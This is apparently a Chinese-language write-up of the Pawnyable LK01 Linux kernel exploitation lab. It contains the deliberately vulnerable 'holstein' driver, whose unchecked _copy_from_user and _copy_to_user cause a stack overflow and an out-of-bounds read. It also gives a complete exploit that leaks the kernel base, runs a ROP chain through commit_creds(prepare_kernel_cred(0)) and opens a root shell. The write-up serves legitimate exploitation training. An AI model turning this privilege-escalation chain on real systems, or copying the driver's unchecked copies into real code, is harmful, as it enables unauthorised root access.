原文:
https://blog.wohin.me/posts/pawnyable-0201/
https://pawnyable.cafe/linux-kernel/
环境 && 题目
下载题目文件
wget https://pawnyable.cafe/linux-kernel/LK01/distfiles/LK01.tar.gz
解包文件系统
decompress_cpio.sh
#!/bin/bash
# Decompress a .cpio.gz packed file system
rm -rf ./rootfs && mkdir rootfs
pushd . && pushd rootfs
cp ../rootfs.cpio .
cpio -idv < rootfs.cpio
rm rootfs.cpio
popd
打包文件系统
compress_cpio.sh
#!/bin/bash
pushd . && pushd rootfs
find . -print0 | cpio -o --format=newc --null --owner=root > ../rootfs.cpio
popd
漏洞分析
题目是存在很多问题,但是这里只看栈溢出的问题
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_read called\n");
memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) { // <<<<< 越界读
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_write called\n");
if (_copy_from_user(kbuf, buf, count)) { // <<<<< 栈溢出
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);
return count;
}
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
_copy_from_user/_copy_to_user没有对栈溢出做检查
copy_from_user/copy_to_user是有的检查
利用
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
char *VULN_DRV = "/dev/holstein";
void spawn_shell();
int64_t global_fd = 0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff8106e240;
uint64_t commit_creds = 0xffffffff8106e390;
uint64_t pop_rdi_ret = 0xffffffff812ef4c0; // will fail
// uint64_t pop_rdi_ret = 0xffffffff812bbdc; // works
uint64_t pop_rcx_ret = 0xffffffff812ea083; // will fail
// uint64_t pop_rcx_ret = 0xffffffff8132cdd3; // works
uint64_t mov_rdi_rax_xxx_ret = 0xffffffff8160c96b;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10;
uint64_t kernel_base = 0xffffffff81000000;
uint64_t base_off = 0;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_kernel_base() {
printf("[*] trying to leak up to %ld bytes memory\n", 0x440);
char buf[0x440];
memset(buf, 0, 0x440);
read(global_fd, buf, 0x440);
uint64_t *leak = (uint64_t *)buf;
base_off = leak[0x408/8] - 0xffffffff8113d33c;
kernel_base = 0xffffffff81000000 + base_off;
printf("[+] got kernel base address: 0x%lx\n", kernel_base);
printf("[+] got kernel base address offset: 0x%lx\n", base_off);
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void overwrite_ret() {
puts("[*] trying to overwrite return address of write op");
char payload[0x500];
memset(payload, 'A', 0x408);
unsigned long *chain = (unsigned long*)&payload[0x408];
*chain++ = pop_rdi_ret + base_off; // return address
*chain++ = 0x0;
*chain++ = prepare_kernel_cred + base_off;
*chain++ = pop_rcx_ret + base_off;
*chain++ = 0;
*chain++ = mov_rdi_rax_xxx_ret + base_off;
*chain++ = commit_creds + base_off;
*chain++ = swapgs_restore_regs_and_return_to_usermode + 22 + base_off;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = user_rip;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
save_userland_state();
open_dev();
leak_kernel_base();
overwrite_ret();
close(global_fd);
return 0;
}